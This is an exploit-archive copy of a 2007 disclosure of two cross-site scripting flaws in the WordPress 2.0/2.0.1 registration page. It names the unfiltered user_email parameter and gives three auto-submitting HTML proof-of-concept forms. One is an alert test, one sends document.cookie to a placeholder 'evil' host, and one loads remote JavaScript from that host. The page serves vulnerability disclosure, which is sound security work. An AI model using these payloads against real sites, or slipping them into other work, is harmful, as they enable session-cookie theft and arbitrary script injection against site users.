exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

wpregister-xss.txt

wpregister-xss.txt
Posted Sep 25, 2007
Authored by PAgVac

Earlier versions of the Wordpress 2.0 branch are susceptible to two vanilla cross site scripting vulnerabilities in wp-register.php.

tags | exploit, php, vulnerability, xss
SHA-256 | 926d18fafb32a71ceede629f6854b332e6b8a3443676de42044243d4caab339d

wpregister-xss.txt

Change Mirror Download

2 vanilla XSS on Wordpress ‘wp-register.php’
by Adrian Pastor in News, WordPress |

There are two vanilla XSS on ‘wp-register.php’. Only early versions of
the 2.0 branch are affected.

Version 2.0 is vulnerable through the ‘user_login’ and ‘user_email’ parameters.

Version 2.0.1 filters the ‘user_login’ parameter but is still
vulnerable through the ‘user_email’ parameter (half-baked fix?).

The XSS is only exploitable through a ‘POST’ request.

WordPress 2.0.4 is not vulnerable, so I’m assuming anything after this
is not vulnerable either (unless there is a comeback of course).

Note: user registration is disabled by default. Only sites with ‘user
registration’ enabled are affected.

line 16 and 17 on version 2.0.1 :

$user_login = sanitize_user( $_POST[’user_login’] );
$user_email = $_POST[’user_email’];

we can notice that ‘user_login’ is sanitized but ‘user_email’ is not
and eventually gets printed without further filtering on line 114:

<?php echo $user_email; ?>

I contacted the vendor and asked them if these issues had been fixed
silently since I couldn’t find them documented anywhere (even though
they had been fixed from version 2.0.4 on). However, I got NO response
from the vendor whatsoever.

simple PoC:

<html>
<head></head>
<body>

<form method="post" action="http://target/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

will popup ‘1′ and ‘2′ on version 2.0, and only ‘2′ on version 2.0.1.
cookie theft PoC:

<html>
<head></head>
<body>

<form method="post"
action="http://target/wordpress/wp-register.php#location='http://evil/?'+document.cookie"
>
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="anyusername" />
<input type="hidden" name="user_email" id="user_email"
value='"><script>eval(location.hash.substr(1))</script>' />

</form>
<script>document.forms[0].submit()</script>
</body>
</html>
unrestricted script insertion from third-party site

(we prove we can
inject ANY JS):

<html>
<head></head>
<body>

<form method="post" action="http://victim/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login" value="test" />
<input type="hidden" name="user_email" id="user_email"
value='"><SCRIPT src=http://evil/jsfile></SCRIPT>'>
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close